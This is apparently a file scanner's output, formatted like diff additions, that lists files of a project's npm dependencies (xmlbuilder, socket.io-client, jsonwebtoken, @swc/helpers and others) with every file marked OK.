+/scan/node_modules/xmlbuilder/CHANGELOG.md: OK
+/scan/node_modules/xmlbuilder/typings/index.d.ts: OK
+/scan/node_modules/xmlbuilder/README.md: OK
+/scan/node_modules/xmlbuilder/package.json: OK
+/scan/node_modules/xmlbuilder/lib/XMLStreamWriter.js: OK
+/scan/node_modules/xmlbuilder/lib/Derivation.js: OK
+/scan/node_modules/xmlbuilder/lib/Utility.js: OK
+/scan/node_modules/xmlbuilder/lib/XMLDOMErrorHandler.js: OK
+/scan/node_modules/xmlbuilder/lib/XMLElement.js: OK
+/scan/node_modules/xmlbuilder/lib/XMLNode.js: OK
+/scan/node_modules/xmlbuilder/lib/XMLDocument.js: OK
+/scan/node_modules/xmlbuilder/lib/WriterState.js: OK
+/scan/node_modules/xmlbuilder/lib/XMLDTDAttList.js: OK
+/scan/node_modules/xmlbuilder/lib/XMLCData.js: OK
+/scan/node_modules/xmlbuilder/lib/XMLStringWriter.js: OK
+/scan/node_modules/xmlbuilder/lib/XMLNodeList.js: OK
+/scan/node_modules/xmlbuilder/lib/XMLDOMImplementation.js: OK
+/scan/node_modules/xmlbuilder/lib/XMLComment.js: OK
+/scan/node_modules/xmlbuilder/lib/XMLDTDElement.js: OK
+/scan/node_modules/xmlbuilder/lib/index.js: OK
+/scan/node_modules/xmlbuilder/lib/XMLNamedNodeMap.js: OK
+/scan/node_modules/xmlbuilder/lib/XMLUserDataHandler.js: OK
+/scan/node_modules/xmlbuilder/lib/XMLText.js: OK
+/scan/node_modules/xmlbuilder/lib/XMLDeclaration.js: OK
+/scan/node_modules/xmlbuilder/lib/XMLProcessingInstruction.js: OK
+/scan/node_modules/xmlbuilder/lib/XMLNodeFilter.js: OK
+/scan/node_modules/xmlbuilder/lib/XMLDOMConfiguration.js: OK
+/scan/node_modules/xmlbuilder/lib/XMLStringifier.js: OK
+/scan/node_modules/xmlbuilder/lib/XMLDocumentFragment.js: OK
+/scan/node_modules/xmlbuilder/lib/XMLWriterBase.js: OK
+/scan/node_modules/xmlbuilder/lib/XMLCharacterData.js: OK
+/scan/node_modules/xmlbuilder/lib/XMLRaw.js: OK
+/scan/node_modules/xmlbuilder/lib/XMLDOMStringList.js: OK
+/scan/node_modules/xmlbuilder/lib/XMLDocumentCB.js: OK
+/scan/node_modules/xmlbuilder/lib/NodeType.js: OK
+/scan/node_modules/xmlbuilder/lib/XMLDTDEntity.js: OK
+/scan/node_modules/xmlbuilder/lib/XMLDocType.js: OK
+/scan/node_modules/xmlbuilder/lib/DocumentPosition.js: OK
+/scan/node_modules/xmlbuilder/lib/XMLDummy.js: OK
+/scan/node_modules/xmlbuilder/lib/XMLAttribute.js: OK
+/scan/node_modules/xmlbuilder/lib/XMLTypeInfo.js: OK
+/scan/node_modules/xmlbuilder/lib/XMLDTDNotation.js: OK
+/scan/node_modules/xmlbuilder/lib/OperationType.js: OK
+/scan/node_modules/xmlbuilder/.nycrc: OK
+/scan/node_modules/d3-time-format/locale/en-CA.json: OK
+/scan/node_modules/d3-time-format/locale/it-IT.json: OK
+/scan/node_modules/d3-time-format/locale/ar-SY.json: OK
+/scan/node_modules/d3-time-format/locale/ko-KR.json: OK
+/scan/node_modules/d3-time-format/locale/es-ES.json: OK
+/scan/node_modules/d3-time-format/locale/ja-JP.json: OK
+/scan/node_modules/d3-time-format/locale/zh-CN.json: OK
+/scan/node_modules/d3-time-format/locale/tr-TR.json: OK
+/scan/node_modules/d3-time-format/locale/hu-HU.json: OK
+/scan/node_modules/d3-time-format/locale/sv-SE.json: OK
+/scan/node_modules/d3-time-format/locale/uk-UA.json: OK
+/scan/node_modules/d3-time-format/locale/fr-CA.json: OK
+/scan/node_modules/d3-time-format/locale/pl-PL.json: OK
+/scan/node_modules/d3-time-format/locale/nl-BE.json: OK
+/scan/node_modules/d3-time-format/locale/ar-EG.json: OK
+/scan/node_modules/d3-time-format/locale/hr-HR.json: OK
+/scan/node_modules/d3-time-format/locale/da-DK.json: OK
+/scan/node_modules/d3-time-format/locale/nb-NO.json: OK
+/scan/node_modules/d3-time-format/locale/fa-IR.json: OK
+/scan/node_modules/d3-time-format/locale/pt-BR.json: OK
+/scan/node_modules/d3-time-format/locale/de-DE.json: OK
+/scan/node_modules/d3-time-format/locale/ca-ES.json: OK
+/scan/node_modules/d3-time-format/locale/cs-CZ.json: OK
+/scan/node_modules/d3-time-format/locale/fr-FR.json: OK
+/scan/node_modules/d3-time-format/locale/zh-TW.json: OK
+/scan/node_modules/d3-time-format/locale/ru-RU.json: OK
+/scan/node_modules/d3-time-format/locale/mk-MK.json: OK
+/scan/node_modules/d3-time-format/locale/he-IL.json: OK
+/scan/node_modules/d3-time-format/locale/nl-NL.json: OK
+/scan/node_modules/d3-time-format/locale/en-US.json: OK
+/scan/node_modules/d3-time-format/locale/en-GB.json: OK
+/scan/node_modules/d3-time-format/locale/fi-FI.json: OK
+/scan/node_modules/d3-time-format/locale/de-CH.json: OK
+/scan/node_modules/d3-time-format/locale/es-MX.json: OK
+/scan/node_modules/d3-time-format/LICENSE: OK
+/scan/node_modules/d3-time-format/dist/d3-time-format.min.js: OK
+/scan/node_modules/d3-time-format/dist/d3-time-format.js: OK
+/scan/node_modules/d3-time-format/README.md: OK
+/scan/node_modules/d3-time-format/package.json: OK
+/scan/node_modules/d3-time-format/src/isoParse.js: OK
+/scan/node_modules/d3-time-format/src/index.js: OK
+/scan/node_modules/d3-time-format/src/defaultLocale.js: OK
+/scan/node_modules/d3-time-format/src/isoFormat.js: OK
+/scan/node_modules/d3-time-format/src/locale.js: OK
+/scan/node_modules/inherits/LICENSE: OK
+/scan/node_modules/inherits/inherits_browser.js: OK
+/scan/node_modules/inherits/README.md: OK
+/scan/node_modules/inherits/package.json: OK
+/scan/node_modules/inherits/inherits.js: OK
+/scan/node_modules/json-bigint/LICENSE: OK
+/scan/node_modules/json-bigint/index.js: OK
+/scan/node_modules/json-bigint/README.md: OK
+/scan/node_modules/json-bigint/package.json: OK
+/scan/node_modules/json-bigint/lib/stringify.js: OK
+/scan/node_modules/json-bigint/lib/parse.js: OK
+/scan/node_modules/lodash.isinteger/LICENSE: OK
+/scan/node_modules/lodash.isinteger/index.js: OK
+/scan/node_modules/lodash.isinteger/README.md: OK
+/scan/node_modules/lodash.isinteger/package.json: OK
+/scan/node_modules/react-smooth/LICENSE: OK
+/scan/node_modules/react-smooth/CHANGELOG.md: OK
+/scan/node_modules/react-smooth/umd/ReactSmooth.js: OK
+/scan/node_modules/react-smooth/umd/ReactSmooth.min.js: OK
+/scan/node_modules/react-smooth/README.md: OK
+/scan/node_modules/react-smooth/package.json: OK
+/scan/node_modules/react-smooth/es6/easing.js: OK
+/scan/node_modules/react-smooth/es6/AnimateManager.js: OK
+/scan/node_modules/react-smooth/es6/util.js: OK
+/scan/node_modules/react-smooth/es6/configUpdate.js: OK
+/scan/node_modules/react-smooth/es6/Animate.js: OK
+/scan/node_modules/react-smooth/es6/index.js: OK
+/scan/node_modules/react-smooth/es6/AnimateGroup.js: OK
+/scan/node_modules/react-smooth/es6/AnimateGroupChild.js: OK
+/scan/node_modules/react-smooth/es6/setRafTimeout.js: OK
+/scan/node_modules/react-smooth/lib/easing.js: OK
+/scan/node_modules/react-smooth/lib/AnimateManager.js: OK
+/scan/node_modules/react-smooth/lib/util.js: OK
+/scan/node_modules/react-smooth/lib/configUpdate.js: OK
+/scan/node_modules/react-smooth/lib/Animate.js: OK
+/scan/node_modules/react-smooth/lib/index.js: OK
+/scan/node_modules/react-smooth/lib/AnimateGroup.js: OK
+/scan/node_modules/react-smooth/lib/AnimateGroupChild.js: OK
+/scan/node_modules/react-smooth/lib/setRafTimeout.js: OK
+/scan/node_modules/react-smooth/src/easing.js: OK
+/scan/node_modules/react-smooth/src/AnimateManager.js: OK
+/scan/node_modules/react-smooth/src/util.js: OK
+/scan/node_modules/react-smooth/src/configUpdate.js: OK
+/scan/node_modules/react-smooth/src/Animate.js: OK
+/scan/node_modules/react-smooth/src/index.js: OK
+/scan/node_modules/react-smooth/src/AnimateGroup.js: OK
+/scan/node_modules/react-smooth/src/AnimateGroupChild.js: OK
+/scan/node_modules/react-smooth/src/setRafTimeout.js: OK
+/scan/node_modules/socket.io-client/LICENSE: OK
+/scan/node_modules/socket.io-client/dist/socket.io.msgpack.min.js: OK
+/scan/node_modules/socket.io-client/dist/socket.io.min.js.map: OK
+/scan/node_modules/socket.io-client/dist/socket.io.min.js: OK
+/scan/node_modules/socket.io-client/dist/socket.io.js: OK
+/scan/node_modules/socket.io-client/dist/socket.io.js.map: OK
+/scan/node_modules/socket.io-client/dist/socket.io.esm.min.js: OK
+/scan/node_modules/socket.io-client/dist/socket.io.msgpack.min.js.map: OK
+/scan/node_modules/socket.io-client/dist/socket.io.esm.min.js.map: OK
+/scan/node_modules/socket.io-client/README.md: OK
+/scan/node_modules/socket.io-client/package.json: OK
+/scan/node_modules/socket.io-client/build/esm-debug/on.js: OK
+/scan/node_modules/socket.io-client/build/esm-debug/browser-entrypoint.d.ts: OK
+/scan/node_modules/socket.io-client/build/esm-debug/socket.d.ts: OK
+/scan/node_modules/socket.io-client/build/esm-debug/index.js: OK
+/scan/node_modules/socket.io-client/build/esm-debug/contrib/backo2.js: OK
+/scan/node_modules/socket.io-client/build/esm-debug/contrib/backo2.d.ts: OK
+/scan/node_modules/socket.io-client/build/esm-debug/browser-entrypoint.js: OK
+/scan/node_modules/socket.io-client/build/esm-debug/socket.js: OK
+/scan/node_modules/socket.io-client/build/esm-debug/url.d.ts: OK
+/scan/node_modules/socket.io-client/build/esm-debug/package.json: OK
+/scan/node_modules/socket.io-client/build/esm-debug/manager.js: OK
+/scan/node_modules/socket.io-client/build/esm-debug/on.d.ts: OK
+/scan/node_modules/socket.io-client/build/esm-debug/manager.d.ts: OK
+/scan/node_modules/socket.io-client/build/esm-debug/index.d.ts: OK
+/scan/node_modules/socket.io-client/build/esm-debug/url.js: OK
+/scan/node_modules/socket.io-client/build/esm/on.js: OK
+/scan/node_modules/socket.io-client/build/esm/browser-entrypoint.d.ts: OK
+/scan/node_modules/socket.io-client/build/esm/socket.d.ts: OK
+/scan/node_modules/socket.io-client/build/esm/index.js: OK
+/scan/node_modules/socket.io-client/build/esm/contrib/backo2.js: OK
+/scan/node_modules/socket.io-client/build/esm/contrib/backo2.d.ts: OK
+/scan/node_modules/socket.io-client/build/esm/browser-entrypoint.js: OK
+/scan/node_modules/socket.io-client/build/esm/socket.js: OK
+/scan/node_modules/socket.io-client/build/esm/url.d.ts: OK
+/scan/node_modules/socket.io-client/build/esm/package.json: OK
+/scan/node_modules/socket.io-client/build/esm/manager.js: OK
+/scan/node_modules/socket.io-client/build/esm/on.d.ts: OK
+/scan/node_modules/socket.io-client/build/esm/manager.d.ts: OK
+/scan/node_modules/socket.io-client/build/esm/index.d.ts: OK
+/scan/node_modules/socket.io-client/build/esm/url.js: OK
+/scan/node_modules/socket.io-client/build/cjs/on.js: OK
+/scan/node_modules/socket.io-client/build/cjs/browser-entrypoint.d.ts: OK
+/scan/node_modules/socket.io-client/build/cjs/socket.d.ts: OK
+/scan/node_modules/socket.io-client/build/cjs/index.js: OK
+/scan/node_modules/socket.io-client/build/cjs/contrib/backo2.js: OK
+/scan/node_modules/socket.io-client/build/cjs/contrib/backo2.d.ts: OK
+/scan/node_modules/socket.io-client/build/cjs/browser-entrypoint.js: OK
+/scan/node_modules/socket.io-client/build/cjs/socket.js: OK
+/scan/node_modules/socket.io-client/build/cjs/url.d.ts: OK
+/scan/node_modules/socket.io-client/build/cjs/manager.js: OK
+/scan/node_modules/socket.io-client/build/cjs/on.d.ts: OK
+/scan/node_modules/socket.io-client/build/cjs/manager.d.ts: OK
+/scan/node_modules/socket.io-client/build/cjs/index.d.ts: OK
+/scan/node_modules/socket.io-client/build/cjs/url.js: OK
+/scan/node_modules/jsonwebtoken/LICENSE: OK
+/scan/node_modules/jsonwebtoken/index.js: OK
+/scan/node_modules/jsonwebtoken/sign.js: OK
+/scan/node_modules/jsonwebtoken/README.md: OK
+/scan/node_modules/jsonwebtoken/decode.js: OK
+/scan/node_modules/jsonwebtoken/verify.js: OK
+/scan/node_modules/jsonwebtoken/package.json: OK
+/scan/node_modules/jsonwebtoken/lib/JsonWebTokenError.js: OK
+/scan/node_modules/jsonwebtoken/lib/psSupported.js: OK
+/scan/node_modules/jsonwebtoken/lib/TokenExpiredError.js: OK
+/scan/node_modules/jsonwebtoken/lib/NotBeforeError.js: OK
+/scan/node_modules/jsonwebtoken/lib/rsaPssKeyDetailsSupported.js: OK
+/scan/node_modules/jsonwebtoken/lib/asymmetricKeyDetailsSupported.js: OK
+/scan/node_modules/jsonwebtoken/lib/timespan.js: OK
+/scan/node_modules/jsonwebtoken/lib/validateAsymmetricKey.js: OK
+/scan/node_modules/iconv-lite/encodings/dbcs-data.js: OK
+/scan/node_modules/iconv-lite/encodings/tables/cp949.json: OK
+/scan/node_modules/iconv-lite/encodings/tables/shiftjis.json: OK
+/scan/node_modules/iconv-lite/encodings/tables/gbk-added.json: OK
+/scan/node_modules/iconv-lite/encodings/tables/gb18030-ranges.json: OK
+/scan/node_modules/iconv-lite/encodings/tables/cp936.json: OK
+/scan/node_modules/iconv-lite/encodings/tables/big5-added.json: OK
+/scan/node_modules/iconv-lite/encodings/tables/eucjp.json: OK
+/scan/node_modules/iconv-lite/encodings/tables/cp950.json: OK
+/scan/node_modules/iconv-lite/encodings/dbcs-codec.js: OK
+/scan/node_modules/iconv-lite/encodings/internal.js: OK
+/scan/node_modules/iconv-lite/encodings/index.js: OK
+/scan/node_modules/iconv-lite/encodings/utf7.js: OK
+/scan/node_modules/iconv-lite/encodings/sbcs-data.js: OK
+/scan/node_modules/iconv-lite/encodings/sbcs-codec.js: OK
+/scan/node_modules/iconv-lite/encodings/utf16.js: OK
+/scan/node_modules/iconv-lite/encodings/sbcs-data-generated.js: OK
+/scan/node_modules/iconv-lite/LICENSE: OK
+/scan/node_modules/iconv-lite/Changelog.md: OK
+/scan/node_modules/iconv-lite/README.md: OK
+/scan/node_modules/iconv-lite/package.json: OK
+/scan/node_modules/iconv-lite/lib/index.js: OK
+/scan/node_modules/iconv-lite/lib/streams.js: OK
+/scan/node_modules/iconv-lite/lib/extend-node.js: OK
+/scan/node_modules/iconv-lite/lib/bom-handling.js: OK
+/scan/node_modules/iconv-lite/lib/index.d.ts: OK
+/scan/node_modules/anymatch/LICENSE: OK
+/scan/node_modules/anymatch/index.js: OK
+/scan/node_modules/anymatch/README.md: OK
+/scan/node_modules/anymatch/package.json: OK
+/scan/node_modules/anymatch/index.d.ts: OK
+/scan/node_modules/color-name/LICENSE: OK
+/scan/node_modules/color-name/index.js: OK
+/scan/node_modules/color-name/README.md: OK
+/scan/node_modules/color-name/package.json: OK
+/scan/node_modules/es-define-property/LICENSE: OK
+/scan/node_modules/es-define-property/test/index.js: OK
+/scan/node_modules/es-define-property/CHANGELOG.md: OK
+/scan/node_modules/es-define-property/.eslintrc: OK
+/scan/node_modules/es-define-property/index.js: OK
+/scan/node_modules/es-define-property/README.md: OK
+/scan/node_modules/es-define-property/package.json: OK
+/scan/node_modules/es-define-property/.github/FUNDING.yml: OK
+/scan/node_modules/es-define-property/tsconfig.json: OK
+/scan/node_modules/es-define-property/.nycrc: OK
+/scan/node_modules/es-define-property/index.d.ts: OK
+/scan/node_modules/decamelize/license: OK
+/scan/node_modules/decamelize/index.js: OK
+/scan/node_modules/decamelize/readme.md: OK
+/scan/node_modules/decamelize/package.json: OK
+/scan/node_modules/ufo/LICENSE: OK
+/scan/node_modules/ufo/dist/index.d.mts: OK
+/scan/node_modules/ufo/dist/index.d.cts: OK
+/scan/node_modules/ufo/dist/index.cjs: OK
+/scan/node_modules/ufo/dist/index.mjs: OK
+/scan/node_modules/ufo/dist/index.d.ts: OK
+/scan/node_modules/ufo/README.md: OK
+/scan/node_modules/ufo/package.json: OK
+/scan/node_modules/@socket.io/component-emitter/LICENSE: OK
+/scan/node_modules/@socket.io/component-emitter/Readme.md: OK
+/scan/node_modules/@socket.io/component-emitter/package.json: OK
+/scan/node_modules/@socket.io/component-emitter/lib/esm/index.js: OK
+/scan/node_modules/@socket.io/component-emitter/lib/esm/package.json: OK
+/scan/node_modules/@socket.io/component-emitter/lib/esm/index.d.ts: OK
+/scan/node_modules/@socket.io/component-emitter/lib/cjs/index.js: OK
+/scan/node_modules/@socket.io/component-emitter/lib/cjs/package.json: OK
+/scan/node_modules/@socket.io/component-emitter/lib/cjs/index.d.ts: OK
+/scan/node_modules/websocket-driver/LICENSE.md: OK
+/scan/node_modules/websocket-driver/CHANGELOG.md: OK
+/scan/node_modules/websocket-driver/README.md: OK
+/scan/node_modules/websocket-driver/package.json: OK
+/scan/node_modules/websocket-driver/lib/websocket/driver/client.js: OK
+/scan/node_modules/websocket-driver/lib/websocket/driver/proxy.js: OK
+/scan/node_modules/websocket-driver/lib/websocket/driver/hybi/message.js: OK
+/scan/node_modules/websocket-driver/lib/websocket/driver/hybi/frame.js: OK
+/scan/node_modules/websocket-driver/lib/websocket/driver/server.js: OK
+/scan/node_modules/websocket-driver/lib/websocket/driver/stream_reader.js: OK
+/scan/node_modules/websocket-driver/lib/websocket/driver/draft76.js: OK
+/scan/node_modules/websocket-driver/lib/websocket/driver/headers.js: OK
+/scan/node_modules/websocket-driver/lib/websocket/driver/draft75.js: OK
+/scan/node_modules/websocket-driver/lib/websocket/driver/base.js: OK
+/scan/node_modules/websocket-driver/lib/websocket/driver/hybi.js: OK
+/scan/node_modules/websocket-driver/lib/websocket/streams.js: OK
+/scan/node_modules/websocket-driver/lib/websocket/driver.js: OK
+/scan/node_modules/websocket-driver/lib/websocket/http_parser.js: OK
+/scan/node_modules/config-chain/index.js: OK
+/scan/node_modules/config-chain/readme.markdown: OK
+/scan/node_modules/config-chain/package.json: OK
+/scan/node_modules/config-chain/LICENCE: OK
+/scan/node_modules/@swc/counter/CHANGELOG.md: OK
+/scan/node_modules/@swc/counter/index.js: OK
+/scan/node_modules/@swc/counter/README.md: OK
+/scan/node_modules/@swc/counter/package.json: OK
+/scan/node_modules/@swc/helpers/LICENSE: OK
+/scan/node_modules/@swc/helpers/esm/_write_only_error.js: OK
+/scan/node_modules/@swc/helpers/esm/_define_property.js: OK
+/scan/node_modules/@swc/helpers/esm/_wrap_native_super.js: OK
+/scan/node_modules/@swc/helpers/esm/_object_spread_props.js: OK
+/scan/node_modules/@swc/helpers/esm/_non_iterable_spread.js: OK
+/scan/node_modules/@swc/helpers/esm/_to_property_key.js: OK
+/scan/node_modules/@swc/helpers/esm/_to_primitive.js: OK
+/scan/node_modules/@swc/helpers/esm/_object_without_properties.js: OK
+/scan/node_modules/@swc/helpers/esm/_decorate.js: OK
+/scan/node_modules/@swc/helpers/esm/_class_apply_descriptor_update.js: OK
+/scan/node_modules/@swc/helpers/esm/_ts_metadata.js: OK
+/scan/node_modules/@swc/helpers/esm/_class_private_method_init.js: OK
+/scan/node_modules/@swc/helpers/esm/_wrap_reg_exp.js: OK
+/scan/node_modules/@swc/helpers/esm/_new_arrow_check.js: OK
+/scan/node_modules/@swc/helpers/esm/_create_class.js: OK
+/scan/node_modules/@swc/helpers/esm/_sliced_to_array.js: OK
+/scan/node_modules/@swc/helpers/esm/_class_private_field_init.js: OK
+/scan/node_modules/@swc/helpers/esm/_async_generator.js: OK
+/scan/node_modules/@swc/helpers/esm/_array_without_holes.js: OK
+/scan/node_modules/@swc/helpers/esm/_wrap_async_generator.js: OK
+/scan/node_modules/@swc/helpers/esm/_ts_dispose_resources.js: OK
+/scan/node_modules/@swc/helpers/esm/_ts_decorate.js: OK
+/scan/node_modules/@swc/helpers/esm/_set_prototype_of.js: OK
+/scan/node_modules/@swc/helpers/esm/_instanceof.js: OK
+/scan/node_modules/@swc/helpers/esm/_class_private_field_set.js: OK
+/scan/node_modules/@swc/helpers/esm/_class_static_private_field_update.js: OK
+/scan/node_modules/@swc/helpers/esm/_using.js: OK
+/scan/node_modules/@swc/helpers/esm/_tagged_template_literal_loose.js: OK
+/scan/node_modules/@swc/helpers/esm/_set.js: OK
+/scan/node_modules/@swc/helpers/esm/_class_static_private_field_destructure.js: OK
+/scan/node_modules/@swc/helpers/esm/_ts_param.js: OK
+/scan/node_modules/@swc/helpers/esm/_class_private_method_set.js: OK
+/scan/node_modules/@swc/helpers/esm/_overload_yield.js: OK
+/scan/node_modules/@swc/helpers/esm/_ts_add_disposable_resource.js: OK
+/scan/node_modules/@swc/helpers/esm/_await_async_generator.js: OK
+/scan/node_modules/@swc/helpers/esm/_check_private_redeclaration.js: OK
+/scan/node_modules/@swc/helpers/esm/_iterable_to_array_limit.js: OK
+/scan/node_modules/@swc/helpers/esm/_extends.js: OK
+/scan/node_modules/@swc/helpers/esm/_using_ctx.js: OK
+/scan/node_modules/@swc/helpers/esm/_object_without_properties_loose.js: OK
+/scan/node_modules/@swc/helpers/esm/_to_array.js: OK
+/scan/node_modules/@swc/helpers/esm/index.js: OK
+/scan/node_modules/@swc/helpers/esm/_class_private_method_get.js: OK
+/scan/node_modules/@swc/helpers/esm/_object_destructuring_empty.js: OK
+/scan/node_modules/@swc/helpers/esm/_class_private_field_get.js: OK
+/scan/node_modules/@swc/helpers/esm/_object_spread.js: OK
+/scan/node_modules/@swc/helpers/esm/_initializer_warning_helper.js: OK
+/scan/node_modules/@swc/helpers/esm/_async_generator_delegate.js: OK
+/scan/node_modules/@swc/helpers/esm/_assert_this_initialized.js: OK
+/scan/node_modules/@swc/helpers/esm/_get.js: OK
+/scan/node_modules/@swc/helpers/esm/_apply_decorated_descriptor.js: OK
+/scan/node_modules/@swc/helpers/esm/_array_with_holes.js: OK
+/scan/node_modules/@swc/helpers/esm/_iterable_to_array_limit_loose.js: OK
+/scan/node_modules/@swc/helpers/esm/_initializer_define_property.js: OK
+/scan/node_modules/@swc/helpers/esm/_identity.js: OK
+/scan/node_modules/@swc/helpers/esm/_iterable_to_array.js: OK
+/scan/node_modules/@swc/helpers/esm/_await_value.js: OK
+/scan/node_modules/@swc/helpers/esm/_class_call_check.js: OK
+/scan/node_modules/@swc/helpers/esm/_array_like_to_array.js: OK
+/scan/node_modules/@swc/helpers/esm/_tagged_template_literal.js: OK
+/scan/node_modules/@swc/helpers/esm/_throw.js: OK
+/scan/node_modules/@swc/helpers/esm/_inherits_loose.js: OK
+/scan/node_modules/@swc/helpers/esm/_update.js: OK
+/scan/node_modules/@swc/helpers/esm/_unsupported_iterable_to_array.js: OK
+/scan/node_modules/@swc/helpers/esm/_interop_require_wildcard.js: OK
+/scan/node_modules/@swc/helpers/esm/_class_check_private_static_field_descriptor.js: OK
+/scan/node_modules/@swc/helpers/esm/_is_native_function.js: OK
+/scan/node_modules/@swc/helpers/esm/_async_iterator.js: OK
+/scan/node_modules/@swc/helpers/esm/_class_private_field_loose_key.js: OK
+/scan/node_modules/@swc/helpers/esm/_is_native_reflect_construct.js: OK
+/scan/node_modules/@swc/helpers/esm/_define_enumerable_properties.js: OK
+/scan/node_modules/@swc/helpers/esm/_construct.js: OK
+/scan/node_modules/@swc/helpers/esm/_sliced_to_array_loose.js: OK
+/scan/node_modules/@swc/helpers/esm/_apply_decs_2311.js: OK
+/scan/node_modules/@swc/helpers/esm/_non_iterable_rest.js: OK
+/scan/node_modules/@swc/helpers/esm/_ts_generator.js: OK
+/scan/node_modules/@swc/helpers/esm/_class_static_private_field_spec_set.js: OK
+/scan/node_modules/@swc/helpers/esm/_class_private_field_update.js: OK
+/scan/node_modules/@swc/helpers/esm/_export_star.js: OK
+/scan/node_modules/@swc/helpers/esm/_super_prop_base.js: OK
+/scan/node_modules/@swc/helpers/esm/_interop_require_default.js: OK
+/scan/node_modules/@swc/helpers/esm/_call_super.js: OK
+/scan/node_modules/@swc/helpers/esm/_class_apply_descriptor_get.js: OK
+/scan/node_modules/@swc/helpers/esm/_defaults.js: OK
+/scan/node_modules/@swc/helpers/esm/_class_static_private_method_get.js: OK
+/scan/node_modules/@swc/helpers/esm/_jsx.js: OK
+/scan/node_modules/@swc/helpers/esm/_get_prototype_of.js: OK
+/scan/node_modules/@swc/helpers/esm/_type_of.js: OK
+/scan/node_modules/@swc/helpers/esm/_class_apply_descriptor_destructure.js: OK
+/scan/node_modules/@swc/helpers/esm/_class_apply_descriptor_set.js: OK
+/scan/node_modules/@swc/helpers/esm/_class_private_field_destructure.js: OK
+/scan/node_modules/@swc/helpers/esm/_class_extract_field_descriptor.js: OK
+/scan/node_modules/@swc/helpers/esm/_ts_values.js: OK
+/scan/node_modules/@swc/helpers/esm/_dispose.js: OK
+/scan/node_modules/@swc/helpers/esm/_inherits.js: OK
+/scan/node_modules/@swc/helpers/esm/_skip_first_generator_next.js: OK
+/scan/node_modules/@swc/helpers/esm/_ts_rewrite_relative_import_extension.js: OK
+/scan/node_modules/@swc/helpers/esm/_read_only_error.js: OK
+/scan/node_modules/@swc/helpers/esm/_class_private_field_loose_base.js: OK
+/scan/node_modules/@swc/helpers/esm/_class_static_private_field_spec_get.js: OK
+/scan/node_modules/@swc/helpers/esm/_create_super.js: OK
+/scan/node_modules/@swc/helpers/esm/_create_for_of_iterator_helper_loose.js: OK
+/scan/node_modules/@swc/helpers/esm/_async_to_generator.js: OK
+/scan/node_modules/@swc/helpers/esm/_possible_constructor_return.js: OK
+/scan/node_modules/@swc/helpers/esm/_class_name_tdz_error.js: OK
+/scan/node_modules/@swc/helpers/esm/_apply_decs_2203_r.js: OK
+/scan/node_modules/@swc/helpers/esm/_class_check_private_static_access.js: OK
+/scan/node_modules/@swc/helpers/esm/_to_consumable_array.js: OK
+/scan/node_modules/@swc/helpers/node_modules/tslib/tslib.d.ts: OK
+/scan/node_modules/@swc/helpers/node_modules/tslib/tslib.js: OK
+/scan/node_modules/@swc/helpers/node_modules/tslib/CopyrightNotice.txt: OK
+/scan/node_modules/@swc/helpers/node_modules/tslib/README.md: OK
+/scan/node_modules/@swc/helpers/node_modules/tslib/tslib.es6.js: OK
+/scan/node_modules/@swc/helpers/node_modules/tslib/package.json: OK
+/scan/node_modules/@swc/helpers/node_modules/tslib/tslib.es6.html: OK
+/scan/node_modules/@swc/helpers/node_modules/tslib/LICENSE.txt: OK
+/scan/node_modules/@swc/helpers/node_modules/tslib/modules/index.js: OK
+/scan/node_modules/@swc/helpers/node_modules/tslib/modules/package.json: OK
+/scan/node_modules/@swc/helpers/node_modules/tslib/modules/index.d.ts: OK
+/scan/node_modules/@swc/helpers/node_modules/tslib/tslib.es6.mjs: OK
+/scan/node_modules/@swc/helpers/node_modules/tslib/tslib.html: OK
+/scan/node_modules/@swc/helpers/node_modules/tslib/SECURITY.md: OK
+/scan/node_modules/@swc/helpers/_/_using/package.json: OK
+/scan/node_modules/@swc/helpers/_/_class_call_check/package.json: OK
+/scan/node_modules/@swc/helpers/_/_ts_param/package.json: OK
+/scan/node_modules/@swc/helpers/_/_class_private_method_init/package.json: OK
+/scan/node_modules/@swc/helpers/_/_new_arrow_check/package.json: OK
+/scan/node_modules/@swc/helpers/_/_class_private_field_loose_base/package.json: OK
+/scan/node_modules/@swc/helpers/_/_initializer_define_property/package.json: OK
+/scan/node_modules/@swc/helpers/_/_construct/package.json: OK
+/scan/node_modules/@swc/helpers/_/_array_with_holes/package.json: OK
+/scan/node_modules/@swc/helpers/_/_apply_decs_2311/package.json: OK
+/scan/node_modules/@swc/helpers/_/_set/package.json: OK
+/scan/node_modules/@swc/helpers/_/_object_without_properties/package.json: OK
+/scan/node_modules/@swc/helpers/_/_unsupported_iterable_to_array/package.json: OK
+/scan/node_modules/@swc/helpers/_/_write_only_error/package.json: OK
+/scan/node_modules/@swc/helpers/_/_ts_generator/package.json: OK
+/scan/node_modules/@swc/helpers/_/_class_apply_descriptor_destructure/package.json: OK
+/scan/node_modules/@swc/helpers/_/_class_static_private_field_destructure/package.json: OK
+/scan/node_modules/@swc/helpers/_/_read_only_error/package.json: OK
+/scan/node_modules/@swc/helpers/_/_create_class/package.json: OK
+/scan/node_modules/@swc/helpers/_/_class_check_private_static_field_descriptor/package.json: OK
+/scan/node_modules/@swc/helpers/_/_async_to_generator/package.json: OK
+/scan/node_modules/@swc/helpers/_/_async_iterator/package.json: OK
+/scan/node_modules/@swc/helpers/_/_instanceof/package.json: OK
+/scan/node_modules/@swc/helpers/_/_class_private_field_destructure/package.json: OK
+/scan/node_modules/@swc/helpers/_/_ts_values/package.json: OK
+/scan/node_modules/@swc/helpers/_/_class_private_method_get/package.json: OK
+/scan/node_modules/@swc/helpers/_/_iterable_to_array/package.json: OK
+/scan/node_modules/@swc/helpers/_/_class_static_private_field_spec_set/package.json: OK
+/scan/node_modules/@swc/helpers/_/_jsx/package.json: OK
+/scan/node_modules/@swc/helpers/_/_create_super/package.json: OK
+/scan/node_modules/@swc/helpers/_/_class_private_field_set/package.json: OK
+/scan/node_modules/@swc/helpers/_/_to_array/package.json: OK
+/scan/node_modules/@swc/helpers/_/_class_name_tdz_error/package.json: OK
+/scan/node_modules/@swc/helpers/_/_wrap_reg_exp/package.json: OK
+/scan/node_modules/@swc/helpers/_/_inherits/package.json: OK
+/scan/node_modules/@swc/helpers/_/_non_iterable_rest/package.json: OK
+/scan/node_modules/@swc/helpers/_/_possible_constructor_return/package.json: OK
+/scan/node_modules/@swc/helpers/_/_tagged_template_literal_loose/package.json: OK
+/scan/node_modules/@swc/helpers/_/_array_without_holes/package.json: OK
+/scan/node_modules/@swc/helpers/_/_class_apply_descriptor_get/package.json: OK
+/scan/node_modules/@swc/helpers/_/_class_apply_descriptor_update/package.json: OK
+/scan/node_modules/@swc/helpers/_/_identity/package.json: OK
+/scan/node_modules/@swc/helpers/_/_non_iterable_spread/package.json: OK
